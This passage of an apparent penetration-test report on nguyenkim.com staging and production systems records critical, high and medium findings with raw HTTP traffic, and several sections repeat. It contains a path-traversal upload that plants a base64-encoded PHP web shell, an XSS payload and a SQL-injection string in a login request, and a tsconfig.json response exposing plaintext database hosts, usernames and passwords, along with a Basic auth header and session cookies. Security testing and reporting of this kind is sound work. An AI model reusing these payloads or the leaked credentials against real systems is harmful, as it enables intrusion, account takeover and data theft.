| **Response 2:**  ""HTTP/1.1 200 OK Server: nginx Date: Wed, 19 May 2021 09:18:53 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 7 Connection: close X-Powered-By: PHP/7.0.29 Cache-Control: max-age=3600 Expires: Wed, 19 May 2021 10:18:53 GMT Vary: Accept-Encoding,User-Agent Access-Control-Allow-Origin: \* Access-Control-Allow-Origin: \*   Success"  [[CriticalVulnDetails.image-Image]:from-resource:maxSize(15):unprocessed] |
| **Image-2021-05-19 16:32:38:**  "N/A"  [[CriticalVulnDetails.image-Image]:from-resource:maxSize(15):unprocessed] |
| **Request 1:**  ""GET /tsconfig.json HTTP/1.1 Host: staging2.nguyenkimmall.com Cookie: sid\_customer\_82df3=4ea544d166691d870cc59667cd8d1c13-C; mp\_skin=desktop; \_ga\_RWCJ26V2KQ=GS1.1.1621412990.4.1.1621415487.0; \_utm\_objs=; \_pk\_id.554926188.f710=376340701.1621399208.4.1621415487.1621413015.; \_ga=GA1.2.122288110.1621399209; \_ac\_client\_id=376340701.1621399209; \_asm\_visitor\_type=r; \_ac\_an\_session=zhzlznzhzizjzjzmzjzizdzgzkzlzgznzjzkzjzizdzizlzhziznziznzjzlzgzdzhzdzizlzhziznzizmznzrzkzdzizlzhziznzizmznzrzkzdzhzdzhzqzdzizd2f27zdzgzdzlzmzmzhzkzd; au\_id=376340701; \_ac\_au\_gt=1621399209539; gr\_reco=17982ec8c2d-a3443b6d74673b0d; \_gid=GA1.2.91465732.1621399213; nkudt=%7B%22ct%22%3A%22%5C%2FD0AL5C2DsZrH6znUWV2g4YezsZS%2BQKW8Oay8E6JIj%5C%2FNsDxONrScTkjjEKwMxiiZi24YmIe3Cw1qUopVmR60c2KqD1NyZs4j%2BAVzqE5Aw9%2BHbplm18E3qhsOUmvbkcbn%22%2C%22iv%22%3A%22ef98fd3771f4f0d70c847a7e20b5c6ef%22%2C%22s%22%3A%224847753923403249%22%7D; user\_track\_data=%7B%22identify\_id%22%3A%22d41d8cd98f00b204e9800998ecf8427e%22%2C%22identify\_name%22%3A%22Kiet+Anhh%22%2C%22identify\_phone%22%3A%22%22%2C%22identify\_email%22%3A%22ranoxpvp%40gmail.com%22%2C%22identify\_address%22%3A%22%22%7D; \_asm\_uid=376340701; recently\_products=14827%2C2047%2C85210%2C88446%2C47882%2C94048; recommend\_products=10905%2C11442%2C20931%2C32630%2C41024%2C89007%2C36030%2C20853%2C64842%2C71716; nkcarttime=1621410855; current\_state=001; \_fbp=fb.1.1621400528403.1371688865; cto\_bundle=\_PLj4l9MWVY5MXMwb2V1ZXd2VlpnMDd1cnElMkJ4SyUyQjRlRE1HMExra1NmQ2hZSkslMkZDNFFCT2tzVHpTbFNob1JQVlBGNGRkVXVRN2kwc1lzNFJaS1dhbWFINk5vdzcwdXVLY1ZwcW1ZYTI2Rm5Kb3pySHVVT1BkSEtGOXhvaDhEZkdpRDVWdWJ4Q2x4N2VqeHUlMkI2aWZqVVJOM2FRcGIyS0I4TmphbURLQmZHUlZSWUNkTXExOXQlMkZDUnpzJTJGVEZvbXh6Q0FSSDhOcVlEb05KbG12eEZUMnNGODlEdXRRJTNEJTNE; PHPSESSID=17fo0tj0mp7lj0eg38ptvpo2q5; \_pk\_ses.554926188.f710=\*; ai\_client\_id=12099609615.1621414009; an\_session=zlzqzqzkzrzqzhzizkzdzizhzjzqzqzlzjzqzlzizmzdzizlzhziznziznzjzjzqzdzhzdzizlzhziznziznzjzjzqzdzizlzhziznziznzjzjzqzdzjzdzhzqzdzizd2f27zdzjzdzlzmzmzhzk; au\_aid=12099609615; dgs=1621414021%3A3%3A0; au\_gt=1621414009155; \_ants\_services=%5B%22tags%22%2C%22cuid%22%5D; \_ants\_event\_his=%7B%22action%22%3A%22checkout%22%2C%22time%22%3A1621414022310%7D; \_ants\_utm\_v2=; nkcart=1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:88.0) Gecko/20100101 Firefox/88.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,\*/\*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Authorization: Basic c3RhZ2luZ25rOlN0QWExSStuZyFOaw== Upgrade-Insecure-Requests: 1 If-Modified-Since: Mon, 08 Mar 2021 07:26:21 GMT Te: trailers Connection: close  ""  [[CriticalVulnDetails.image-Image]:from-resource:maxSize(15):unprocessed] |
| **Response 1:**  ""HTTP/1.1 304 Not Modified Server: nginx Date: Wed, 19 May 2021 09:35:44 GMT Connection: close Expires: Wed, 19 May 2021 09:38:44 GMT Cache-Control: max-age=180 Vary: Accept-Encoding,User-Agent Access-Control-Allow-Origin: \*   {  "read": {  "db\_host": "123.30.128.124",  "db\_user": "devnk\_user",  "db\_password": "s7jtpXQQcEnkl1C",  "db\_name": "devnk\_db"  },  "write": {  "db\_host": "171.244.26.182",  "db\_user": "nk\_dung",  "db\_password": "IyZap05REPEdD",  "db\_name": "newnguyenkim\_db\_clone"  } }"  [[CriticalVulnDetails.image-Image]:from-resource:maxSize(15):unprocessed] |
| **Image-2021-05-19 16:36:44:**  "N/A"  [[CriticalVulnDetails.image-Image]:from-resource:maxSize(15):unprocessed] |

### Review Old, Backup and Unreferenced Files for Sensitive Information (OTG-CONFIG-004)

|  |  |  |  |
| --- | --- | --- | --- |
| **VULNERABILITY INFORMATION** | | | |
| **CATEGORY** | [[Critical.Vuln.Category\_Vuln]:unprocessed] | | |
| **DESCRIPTION** | Hệ thống chứa tệp tsconfig.json ở thư mục root và không phân quyền truy cập, kẻ tấn công có thể thoải mái truy cập và có được thông tin kết nối cơ sở dữ liệu | | |
| **SEVERITY** | **Critical** | | |
| **IMPACT** | **High** | **LIKELIHOOD** | **High** |
| **RECOMMENDATION** | Dời vào thư mục khác hoặc thiết lập quyền truy cập cho tệp | | |
| **REFERENCE** | N/A | | |
| **VULNERABILITY DETAIL** | | | |
| **FUNCTION** | tsconfig.json | | |
| **AFFECTED URL** | https://staging2.nguyenkimmall.com:443/tsconfig.json | | |
| **PARAMETER** | N/A | | |
| **CONDITION** | Anonymous User | | |

|  |
| --- |
| **Request 2:**  ""POST /upload.php HTTP/1.1 Host: staging2.nguyenkimmall.com Cookie: sid\_customer\_82df3=4ea544d166691d870cc59667cd8d1c13-C; mp\_skin=desktop; \_ga\_RWCJ26V2KQ=GS1.1.1621412990.4.1.1621414327.0; \_utm\_objs=; \_pk\_id.554926188.f710=376340701.1621399208.4.1621414310.1621413015.; \_ga=GA1.2.122288110.1621399209; \_ac\_client\_id=376340701.1621399209; \_asm\_visitor\_type=r; \_ac\_an\_session=zhzlznzhzizjzjzmzjzizdzgzkzlzgznzjzkzjzizdzizlzhziznziznzjzlzgzdzhzdzizlzhziznziznzgzizizdzizlzhziznziznzgzizizdzhzdzhzqzdzizd2f27zdzgzdzlzmzmzhzkzd; au\_id=376340701; \_ac\_au\_gt=1621399209539; gr\_reco=17982ec8c2d-a3443b6d74673b0d; \_gid=GA1.2.91465732.1621399213; nkudt=%7B%22ct%22%3A%22%5C%2FD0AL5C2DsZrH6znUWV2g4YezsZS%2BQKW8Oay8E6JIj%5C%2FNsDxONrScTkjjEKwMxiiZi24YmIe3Cw1qUopVmR60c2KqD1NyZs4j%2BAVzqE5Aw9%2BHbplm18E3qhsOUmvbkcbn%22%2C%22iv%22%3A%22ef98fd3771f4f0d70c847a7e20b5c6ef%22%2C%22s%22%3A%224847753923403249%22%7D; user\_track\_data=%7B%22identify\_id%22%3A%22d41d8cd98f00b204e9800998ecf8427e%22%2C%22identify\_name%22%3A%22Kiet+Anhh%22%2C%22identify\_phone%22%3A%22%22%2C%22identify\_email%22%3A%22ranoxpvp%40gmail.com%22%2C%22identify\_address%22%3A%22%22%7D; \_asm\_uid=376340701; recently\_products=14827%2C2047%2C85210%2C88446%2C47882%2C94048; recommend\_products=10905%2C11442%2C20931%2C32630%2C41024%2C89007%2C36030%2C20853%2C64842%2C71716; nkcarttime=1621410855; current\_state=001; \_fbp=fb.1.1621400528403.1371688865; cto\_bundle=\_PLj4l9MWVY5MXMwb2V1ZXd2VlpnMDd1cnElMkJ4SyUyQjRlRE1HMExra1NmQ2hZSkslMkZDNFFCT2tzVHpTbFNob1JQVlBGNGRkVXVRN2kwc1lzNFJaS1dhbWFINk5vdzcwdXVLY1ZwcW1ZYTI2Rm5Kb3pySHVVT1BkSEtGOXhvaDhEZkdpRDVWdWJ4Q2x4N2VqeHUlMkI2aWZqVVJOM2FRcGIyS0I4TmphbURLQmZHUlZSWUNkTXExOXQlMkZDUnpzJTJGVEZvbXh6Q0FSSDhOcVlEb05KbG12eEZUMnNGODlEdXRRJTNEJTNE; PHPSESSID=17fo0tj0mp7lj0eg38ptvpo2q5; \_pk\_ses.554926188.f710=\*; ai\_client\_id=12099609615.1621414009; an\_session=zlzqzqzkzrzqzhzizkzdzizhzjzqzqzlzjzqzlzizmzdzizlzhziznziznzjzjzqzdzhzdzizlzhziznziznzjzjzqzdzizlzhziznziznzjzjzqzdzjzdzhzqzdzizd2f27zdzjzdzlzmzmzhzk; au\_aid=12099609615; dgs=1621414021%3A3%3A0; au\_gt=1621414009155; \_ants\_services=%5B%22tags%22%2C%22cuid%22%5D; \_ants\_event\_his=%7B%22action%22%3A%22checkout%22%2C%22time%22%3A1621414022310%7D; \_ants\_utm\_v2=; nkcart=1; gr\_rt=17982ec8c2d-a3443b6d74673b0d; \_gat\_UA-251534152-1=1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:88.0) Gecko/20100101 Firefox/88.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,\*/\*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Authorization: Basic c3RhZ2luZ25rOlN0QWExSStuZyFOaw== Upgrade-Insecure-Requests: 1 Te: trailers Connection: close Content-Length: 126  fileData=PGgxPktpZXROQSBkeiBmciBIUFQgQ3liZXIgc2VjPC9oMT4KPD89YCRfR0VUWzBdYCA/Pg==&fileName=../../../../images/kiett.php.orionn""  [[CriticalVulnDetails.image-Image]:from-resource:maxSize(15):unprocessed] |
| **Response 2:**  ""HTTP/1.1 200 OK Server: nginx Date: Wed, 19 May 2021 09:18:53 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 7 Connection: close X-Powered-By: PHP/7.0.29 Cache-Control: max-age=3600 Expires: Wed, 19 May 2021 10:18:53 GMT Vary: Accept-Encoding,User-Agent Access-Control-Allow-Origin: \* Access-Control-Allow-Origin: \*   Success"  [[CriticalVulnDetails.image-Image]:from-resource:maxSize(15):unprocessed] |
| **Image-2021-05-19 16:32:38:**  "N/A"  [[CriticalVulnDetails.image-Image]:from-resource:maxSize(15):unprocessed] |
| **Request 1:**  ""GET /tsconfig.json HTTP/1.1 Host: staging2.nguyenkimmall.com Cookie: sid\_customer\_82df3=4ea544d166691d870cc59667cd8d1c13-C; mp\_skin=desktop; \_ga\_RWCJ26V2KQ=GS1.1.1621412990.4.1.1621415487.0; \_utm\_objs=; \_pk\_id.554926188.f710=376340701.1621399208.4.1621415487.1621413015.; \_ga=GA1.2.122288110.1621399209; \_ac\_client\_id=376340701.1621399209; \_asm\_visitor\_type=r; \_ac\_an\_session=zhzlznzhzizjzjzmzjzizdzgzkzlzgznzjzkzjzizdzizlzhziznziznzjzlzgzdzhzdzizlzhziznzizmznzrzkzdzizlzhziznzizmznzrzkzdzhzdzhzqzdzizd2f27zdzgzdzlzmzmzhzkzd; au\_id=376340701; \_ac\_au\_gt=1621399209539; gr\_reco=17982ec8c2d-a3443b6d74673b0d; \_gid=GA1.2.91465732.1621399213; nkudt=%7B%22ct%22%3A%22%5C%2FD0AL5C2DsZrH6znUWV2g4YezsZS%2BQKW8Oay8E6JIj%5C%2FNsDxONrScTkjjEKwMxiiZi24YmIe3Cw1qUopVmR60c2KqD1NyZs4j%2BAVzqE5Aw9%2BHbplm18E3qhsOUmvbkcbn%22%2C%22iv%22%3A%22ef98fd3771f4f0d70c847a7e20b5c6ef%22%2C%22s%22%3A%224847753923403249%22%7D; user\_track\_data=%7B%22identify\_id%22%3A%22d41d8cd98f00b204e9800998ecf8427e%22%2C%22identify\_name%22%3A%22Kiet+Anhh%22%2C%22identify\_phone%22%3A%22%22%2C%22identify\_email%22%3A%22ranoxpvp%40gmail.com%22%2C%22identify\_address%22%3A%22%22%7D; \_asm\_uid=376340701; recently\_products=14827%2C2047%2C85210%2C88446%2C47882%2C94048; recommend\_products=10905%2C11442%2C20931%2C32630%2C41024%2C89007%2C36030%2C20853%2C64842%2C71716; nkcarttime=1621410855; current\_state=001; \_fbp=fb.1.1621400528403.1371688865; cto\_bundle=\_PLj4l9MWVY5MXMwb2V1ZXd2VlpnMDd1cnElMkJ4SyUyQjRlRE1HMExra1NmQ2hZSkslMkZDNFFCT2tzVHpTbFNob1JQVlBGNGRkVXVRN2kwc1lzNFJaS1dhbWFINk5vdzcwdXVLY1ZwcW1ZYTI2Rm5Kb3pySHVVT1BkSEtGOXhvaDhEZkdpRDVWdWJ4Q2x4N2VqeHUlMkI2aWZqVVJOM2FRcGIyS0I4TmphbURLQmZHUlZSWUNkTXExOXQlMkZDUnpzJTJGVEZvbXh6Q0FSSDhOcVlEb05KbG12eEZUMnNGODlEdXRRJTNEJTNE; PHPSESSID=17fo0tj0mp7lj0eg38ptvpo2q5; \_pk\_ses.554926188.f710=\*; ai\_client\_id=12099609615.1621414009; an\_session=zlzqzqzkzrzqzhzizkzdzizhzjzqzqzlzjzqzlzizmzdzizlzhziznziznzjzjzqzdzhzdzizlzhziznziznzjzjzqzdzizlzhziznziznzjzjzqzdzjzdzhzqzdzizd2f27zdzjzdzlzmzmzhzk; au\_aid=12099609615; dgs=1621414021%3A3%3A0; au\_gt=1621414009155; \_ants\_services=%5B%22tags%22%2C%22cuid%22%5D; \_ants\_event\_his=%7B%22action%22%3A%22checkout%22%2C%22time%22%3A1621414022310%7D; \_ants\_utm\_v2=; nkcart=1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:88.0) Gecko/20100101 Firefox/88.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,\*/\*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Authorization: Basic c3RhZ2luZ25rOlN0QWExSStuZyFOaw== Upgrade-Insecure-Requests: 1 If-Modified-Since: Mon, 08 Mar 2021 07:26:21 GMT Te: trailers Connection: close  ""  [[CriticalVulnDetails.image-Image]:from-resource:maxSize(15):unprocessed] |
| **Response 1:**  ""HTTP/1.1 304 Not Modified Server: nginx Date: Wed, 19 May 2021 09:35:44 GMT Connection: close Expires: Wed, 19 May 2021 09:38:44 GMT Cache-Control: max-age=180 Vary: Accept-Encoding,User-Agent Access-Control-Allow-Origin: \*   {  "read": {  "db\_host": "123.30.128.124",  "db\_user": "devnk\_user",  "db\_password": "s7jtpXQQcEnkl1C",  "db\_name": "devnk\_db"  },  "write": {  "db\_host": "171.244.26.182",  "db\_user": "nk\_dung",  "db\_password": "IyZap05REPEdD",  "db\_name": "newnguyenkim\_db\_clone"  } }"  [[CriticalVulnDetails.image-Image]:from-resource:maxSize(15):unprocessed] |
| **Image-2021-05-19 16:36:44:**  "N/A"  [[CriticalVulnDetails.image-Image]:from-resource:maxSize(15):unprocessed] |

## HIGH RISK FINDINGS

### Testing for Stored Cross Site Scripting(WSTG-INPV-02)

|  |  |  |  |
| --- | --- | --- | --- |
| **VULNERABILITY INFORMATION** | | | |
| **CATEGORY** | [[High.Vuln.Category\_Vuln]:unprocessed] | | |
| **DESCRIPTION** | "Update address" function does not filter all of html tags and some javascript function, the attacker can abusing onmouseover function to steal user cookie or perform other attacks | | |
| **SEVERITY** | **High** | | |
| **IMPACT** | **Medium** | **LIKELIHOOD** | **Medium** |
| **RECOMMENDATION** | N/A | | |
| **REFERENCE** | Stored Cross-site Scripting (XSS) is the most dangerous type of Cross Site Scripting. Web applications that allow users to store data are potentially exposed to this type of attack. This chapter illustrates examples of stored cross site scripting injection and related exploitation scenarios. Stored XSS occurs when a web application gathers input from a user which might be malicious, and then stores that input in a data store for later use. The input that is stored is not correctly filtered. As a consequence, the malicious data will appear to be part of the web site and run within the user’s browser under the privileges of the web application. Since this vulnerability typically involves at least two requests to the application, this may also called second-order XSS. This vulnerability can be used to conduct a number of browser-based attacks including:  Hijacking another user’s browser Capturing sensitive information viewed by application users Pseudo defacement of the application Port scanning of internal hosts (“internal” in relation to the users of the web application) Directed delivery of browser-based exploits Other malicious activities  Stored XSS does not need a malicious link to be exploited. A successful exploitation occurs when a user visits a page with a stored XSS. The following phases relate to a typical stored XSS attack scenario:  Attacker stores malicious code into the vulnerable page User authenticates in the application User visits vulnerable page Malicious code is executed by the user’s browser  This type of attack can also be exploited with browser exploitation frameworks such as BeEF and XSS Proxy. These frameworks allow for complex JavaScript exploit development. Stored XSS is particularly dangerous in application areas where users with high privileges have access. When the administrator visits the vulnerable page, the attack is automatically executed by their browser. This might expose sensitive information such as session authorization tokens. | | |
| **VULNERABILITY DETAIL** | | | |
| **FUNCTION** | Update address | | |
| **AFFECTED URL** | https://staging2.nguyenkimmall.com:443/index.php?dispatch=checkout.ajax\_address | | |
| **PARAMETER** | full\_name, phone\_number, street, address | | |
| **CONDITION** | Authenticated User | | |

|  |
| --- |
| **[[HighVulnDetailsName]]:**  [[HighVulnDetailsData]]  [[HighVulnDetails.image-Image]:from-resource:maxSize(15):unprocessed] |

## MEDIUM RISK FINDINGS

### Testing for Reflected Cross site scripting (OTG-INPVAL-001)

|  |  |  |  |
| --- | --- | --- | --- |
| **VULNERABILITY INFORMATION** | | | |
| **CATEGORY** | [[Medium.Vuln.Category\_Vuln]:unprocessed] | | |
| **DESCRIPTION** | Chức năng Login Dashboard không lọc đầu vào, kẻ tấn công có thể chèn các mã html và javascript tùy ý để thực thi script độc hại | | |
| **SEVERITY** | **Medium** | | |
| **IMPACT** | **Medium** | **LIKELIHOOD** | **Medium** |
| **RECOMMENDATION** | Thực hiện mã hóa html cho đầu vào và đầu ra | | |
| **REFERENCE** | N/A | | |
| **VULNERABILITY DETAIL** | | | |
| **FUNCTION** | Dashboard Login | | |
| **AFFECTED URL** | https://staging2.nguyenkimmall.com:443/dashboard/login.php | | |
| **PARAMETER** | name | | |
| **CONDITION** | Anonymous User | | |

|  |
| --- |
| **Request 1:**  ""POST /dashboard/login.php HTTP/1.1 Host: staging2.nguyenkimmall.com Cookie: sid\_customer\_82df3=4ea544d166691d870cc59667cd8d1c13-C; mp\_skin=desktop; \_ga\_RWCJ26V2KQ=GS1.1.1621396035.1.1.1621401054.0; \_utm\_objs=; \_pk\_id.554926188.f710=376340701.1621399208.1.1621400948.1621399208.; \_pk\_ses.554926188.f710=\*; \_ga=GA1.2.122288110.1621399209; \_ac\_client\_id=376340701.1621399209; \_asm\_visitor\_type=r; \_ac\_an\_session=zhzlznzhzjzrzlzizjzizdzgzkzlzgznzjzkzjzizdzizlzhzizgzqzqzhzjzqzdzhzdzizlzhziznzjzjzqznzkzdzizlzhziznzjzjzqznzkzdzhzdzhzqzdzizd2f27zdzgzdzlzmzmzhzkzd; au\_id=376340701; \_ac\_au\_gt=1621399209539; gr\_reco=17982ec8c2d-a3443b6d74673b0d; \_gid=GA1.2.91465732.1621399213; nkudt=%7B%22ct%22%3A%22%5C%2FD0AL5C2DsZrH6znUWV2g4YezsZS%2BQKW8Oay8E6JIj%5C%2FNsDxONrScTkjjEKwMxiiZi24YmIe3Cw1qUopVmR60c2KqD1NyZs4j%2BAVzqE5Aw987gt0U2YSjDpYoU8IBDeVJ%22%2C%22iv%22%3A%22ef98fd3771f4f0d70c847a7e20b5c6ef%22%2C%22s%22%3A%224847753923403249%22%7D; user\_track\_data=%7B%22identify\_id%22%3A%22d41d8cd98f00b204e9800998ecf8427e%22%2C%22identify\_name%22%3A%22Kiet+Anhh%22%2C%22identify\_phone%22%3A%22%22%2C%22identify\_email%22%3A%22ranoxpvp%40gmail.com%22%2C%22identify\_address%22%3A%22%22%7D; \_asm\_uid=376340701; recently\_products=85210%2C88446%2C47882%2C94048; recommend\_products=71063%2C100495%2C97269%2C100494%2C97267%2C71055%2C78252%2C71148%2C26344%2C71152; nkcarttime=1621400740; current\_state=001; \_fbp=fb.1.1621400528403.1371688865; cto\_bundle=ZX-H2V9MWVY5MXMwb2V1ZXd2VlpnMDd1cnE0MHJmcXhqMkdrVSUyQndiNWZab3B6c0VvR3RWczZTUnNGU1d2UUV3a1A1Sk9uJTJGUlo3b3lZNmclMkZqZ2R0ZXJISVd1aWZaSUxOREZTb0E0Q09PR04yd0xkU0QzbXlGTmlrdWNnTkF4MnZNcFVoejhmRGZlU2lzREs1NzJsa0I0TSUyQjl1UTFyVkx4QlhWSk5wYVlVRUNuc2ljQXV0Tlk3NTU2MTRjRlpFVUZlVE9selpZRTJGYSUyQmlsNWk4WWFoSk1oc25ndyUzRCUzRA; nkcart=2; gr\_rt=17982ec8c2d-a3443b6d74673b0d; PHPSESSID=17fo0tj0mp7lj0eg38ptvpo2q5 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:88.0) Gecko/20100101 Firefox/88.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,\*/\*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 87 Origin: https://staging2.nguyenkimmall.com Authorization: Basic c3RhZ2luZ25rOlN0QWExSStuZyFOaw== Referer: https://staging2.nguyenkimmall.com/dashboard/login.php Upgrade-Insecure-Requests: 1 Te: trailers Connection: close  name=kietna%40hpt.vn\"><img+src=x+onerror=alert(1);>&pass[]=aa'+or+1=1--+-&rememberme=on"" |
| **Response 1:**  ""HTTP/1.1 200 OK Server: nginx Date: Wed, 19 May 2021 05:39:53 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 2952 Connection: close X-Powered-By: PHP/7.0.29 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: Accept-Encoding,User-Agent Access-Control-Allow-Origin: \* Access-Control-Allow-Origin: \*    <input type="email" id="inputUsername" class="form-control" placeholder="Username" required autofocus  name="name"  value="kietna@hpt.vn"><img src=x onerror=alert(1);>" />" |
| **Image-2021-05-19 12:42:37:**  "N/A" |
| **Request 1:**  ""POST /index.php?dispatch=auth.recover\_password HTTP/2 Host: www.nguyenkim.com Cookie: \_utm\_objs=; \_pk\_id.554926188.973b=376340701.1621399326.2.1621412347.1621410825.; \_ac\_client\_id=376340701.1621399326; \_asm\_visitor\_type=r; \_ac\_an\_session=zhzlznzhzjzqzrzkzjzizdzgzkzlzgznzjzkzjzizdzizlzhziznzizhzhzgzmzdzhzdzizlzhziznzizhzgznzkzdzizlzhziznzizhzgznzkzdzhzdzhzqzdzizd2f27zdzgzdzlzmzmzhzkzd; au\_id=376340701; \_ac\_au\_gt=1621399209539; sid\_customer\_5120c=76cc919a9816115bc171701c3bf91803-C; mp\_skin=desktop; SRVID=w7|YKTJ+|YKSXF; \_asm\_uid=376340701; \_ga=GA1.2.169703168.1621399331; \_gid=GA1.2.255185360.1621399331; \_\_zi=2000.SSZzejyD5ja-a\_QhmHqUcJQLzgUEK0FNE8sq-vnQ7SLwdwBfamGMm3\_HfkgQ3nN1FvIXwvb25yuqbg7YDZWm.1; \_fbp=fb.1.1621399336880.972473971; gr\_reco=17982ee7d6a-3f2e617176a790ff; adpopup\_NK\_POPUP\_DESKTOP\_cfcd208495d565ef66e7dff9f98764da=0; adpopup\_NK\_POPUP\_MOBILE\_cfcd208495d565ef66e7dff9f98764da=0; cto\_bundle=6RiA-l9MWVY5MXMwb2V1ZXd2VlpnMDd1cnE1OFN3YjZORzZDV0VxVkpsSU90SlZqU0tjd1RWWTglMkJFWFExa1ZUcE1qNHJodFB1WndlZzdCM1VvdlVzaEc4SzFsUlFSUGFrJTJCWld3WERiMmtOTEdaaHRJdiUyQlklMkZqSFFnampPQXZYYkFhOXI5NjFIJTJCbTBaS0JmVVJEckxyMDUlMkJWb2glMkJ5RUtoSWlUNkpIZVdVdzI2NmN6eklSbThib3dkbDVwaGQlMkYzZ0dkNFJw; \_hjTLDTest=1; \_hjid=ea16f0ac-1e83-46ca-9e1e-95b598f8bc6e; fpsend=150130; \_pk\_ses.554926188.973b=\*; \_hjAbsoluteSessionInProgress=0; gr\_rt=17982ee7d6a-3f2e617176a790ff; login\_false=1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:88.0) Gecko/20100101 Firefox/88.0 Accept: application/json, text/javascript, \*/\*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 101 Origin: https://www.nguyenkim.com Referer: https://www.nguyenkim.com/login.html Te: trailers Connection: close  user\_email=kietna%40hpt.vn&security\_hash=8162e8d9bcafbd972569c504076a6107&result\_ids=save-p&is\_ajax=1"" |
| **Response 1:**  ""HTTP/2 200 OK Date: Wed, 19 May 2021 08:20:29 GMT Content-Type: application/json; charset=utf-8 Vary: Accept-Encoding Set-Cookie: sid\_customer\_5120c=76cc919a9816115bc171701c3bf91803-C; expires=Wed, 02-Jun-2021 08:20:35 GMT; Max-Age=1209600; path=/; domain=.nguyenkim.com; HttpOnly Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Set-Cookie: mp\_skin=desktop; path=/ Set-Cookie: nkmkey=6a0c57a76500925fc3676e697aca892a; expires=Wed, 19-May-2021 20:20:36 GMT; Max-Age=43200; path=/ Set-Cookie: message\_6a0c57a76500925fc3676e697aca892a=%7B%22type%22%3A%22N%22%2C%22title%22%3A%22Th%5Cu00f4ng+tin%22%2C%22message%22%3A%22M%5Cu1ed9t+email+h%5Cu01b0%5Cu1edbng+d%5Cu1eabn+l%5Cu1ea5y+l%5Cu1ea1i+m%5Cu1eadt+kh%5Cu1ea9u+%5Cu0111%5Cu00e3+%5Cu0111%5Cu01b0%5Cu1ee3c+g%5Cu1eedi+%5Cu0111%5Cu1ebfn+h%5Cu00f2m+th%5Cu01b0+c%5Cu1ee7a+b%5Cu1ea1n.%22%2C%22message\_state%22%3A%22I%22%7D; expires=Wed, 19-May-2021 20:20:36 GMT; Max-Age=43200; path=/ Access-Control-Allow-Origin: \* Set-Cookie: SRVID=w7|YKTKU|YKSXF; path=/ Server: NguyenKim   {"current\_url":"https:\/\/www.nguyenkim.com\/","notifications":[{"type":"S","title":"Thành công","message":"Đường dẫn thay đổi mật khẩu được gửi vào email của bạn!","message\_state":"","new":true,"extra":"","init\_message":false}]}" |
| **Image-2021-05-19 15:23:41:**  "N/A" |

### Test number of times a function can be used limits (OTG-BUSLOGIC-005)

|  |  |  |  |
| --- | --- | --- | --- |
| **VULNERABILITY INFORMATION** | | | |
| **CATEGORY** | [[Medium.Vuln.Category\_Vuln]:unprocessed] | | |
| **DESCRIPTION** | Chức năng quên mật khẩu không giới hạn số lần gửi mail, kẻ tấn công có thể phát triển một công cụ để thực hiện spam mail liên tục làm ảnh hưởng tới hệ thống và người dùng | | |
| **SEVERITY** | **Medium** | | |
| **IMPACT** | **Medium** | **LIKELIHOOD** | **Medium** |
| **RECOMMENDATION** | Giới hạn số lần gửi mail bằng thời gian | | |
| **REFERENCE** | N/A | | |
| **VULNERABILITY DETAIL** | | | |
| **FUNCTION** | Quên mật khẩu | | |
| **AFFECTED URL** | https://www.nguyenkim.com:443/index.php?dispatch=auth.recover\_password | | |
| **PARAMETER** | user\_email | | |
| **CONDITION** | Anonymous User | | |

|  |
| --- |
| **Request 1:**  ""POST /dashboard/login.php HTTP/1.1 Host: staging2.nguyenkimmall.com Cookie: sid\_customer\_82df3=4ea544d166691d870cc59667cd8d1c13-C; mp\_skin=desktop; \_ga\_RWCJ26V2KQ=GS1.1.1621396035.1.1.1621401054.0; \_utm\_objs=; \_pk\_id.554926188.f710=376340701.1621399208.1.1621400948.1621399208.; \_pk\_ses.554926188.f710=\*; \_ga=GA1.2.122288110.1621399209; \_ac\_client\_id=376340701.1621399209; \_asm\_visitor\_type=r; \_ac\_an\_session=zhzlznzhzjzrzlzizjzizdzgzkzlzgznzjzkzjzizdzizlzhzizgzqzqzhzjzqzdzhzdzizlzhziznzjzjzqznzkzdzizlzhziznzjzjzqznzkzdzhzdzhzqzdzizd2f27zdzgzdzlzmzmzhzkzd; au\_id=376340701; \_ac\_au\_gt=1621399209539; gr\_reco=17982ec8c2d-a3443b6d74673b0d; \_gid=GA1.2.91465732.1621399213; nkudt=%7B%22ct%22%3A%22%5C%2FD0AL5C2DsZrH6znUWV2g4YezsZS%2BQKW8Oay8E6JIj%5C%2FNsDxONrScTkjjEKwMxiiZi24YmIe3Cw1qUopVmR60c2KqD1NyZs4j%2BAVzqE5Aw987gt0U2YSjDpYoU8IBDeVJ%22%2C%22iv%22%3A%22ef98fd3771f4f0d70c847a7e20b5c6ef%22%2C%22s%22%3A%224847753923403249%22%7D; user\_track\_data=%7B%22identify\_id%22%3A%22d41d8cd98f00b204e9800998ecf8427e%22%2C%22identify\_name%22%3A%22Kiet+Anhh%22%2C%22identify\_phone%22%3A%22%22%2C%22identify\_email%22%3A%22ranoxpvp%40gmail.com%22%2C%22identify\_address%22%3A%22%22%7D; \_asm\_uid=376340701; recently\_products=85210%2C88446%2C47882%2C94048; recommend\_products=71063%2C100495%2C97269%2C100494%2C97267%2C71055%2C78252%2C71148%2C26344%2C71152; 